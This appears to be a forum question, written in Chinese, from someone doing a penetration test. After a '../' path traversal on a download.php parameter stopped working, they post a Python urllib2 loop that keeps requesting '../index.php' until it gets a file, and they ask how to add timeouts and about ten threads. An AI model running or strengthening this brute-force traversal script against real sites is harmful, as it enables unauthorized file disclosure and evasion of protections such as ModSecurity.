我正在对一个网站进行渗透测试,并试图找出任何路径遍历问题。
我创建了可能是路径遍历的易受攻击参数,并成功使用 ' ../../ ' 下载了 2 个文件。我几乎同时下载了这两个文件。1 后 1。两次下载之间的时间延迟约为 10 秒或更短。
然后我尝试获取另一个文件并没有得到任何响应,从那一刻起,我在尝试下载任何文件时都没有得到任何响应(即使是我能够在 2-3 分钟前下载的前 2 个文件) .
它也有 ModSecurity 和几个负载均衡器,我的想法是,当我成功下载这两个文件时,我只是点击了一个未配置的负载均衡器。
提到我试图以某些方式绕过负载平衡器,包括尝试直接从 IP 下载文件。没有任何成功。
因此,我正在考虑构建一个简单的 python 脚本,该脚本将尝试使用 urllib python 库从特定的似乎易受攻击的参数中获取有效文件:
import urllib2
import time
import os
res = open('result', 'w')
res.close()
for i in range(0, 1000000):
if os.stat("result").st_size == 0:
file = urllib2.urlopen('http://www.example.com/download.php?download_file=../index.php')
output = open('result', 'wb')
output.write(file.read())
#time.sleep(10)
output.close()
i +=1
else:
break
由于我是 python 新手,我知道这段代码不是最好的解决方案,并且会花费大量时间(如果有的话)它会获取文件。
如何改进我的代码,以便在更短的时间内完成每个连接(例如:如果没有得到响应,则在 3 秒后终止连接)并使用多个线程来完成它?(1o 左右)。
谢谢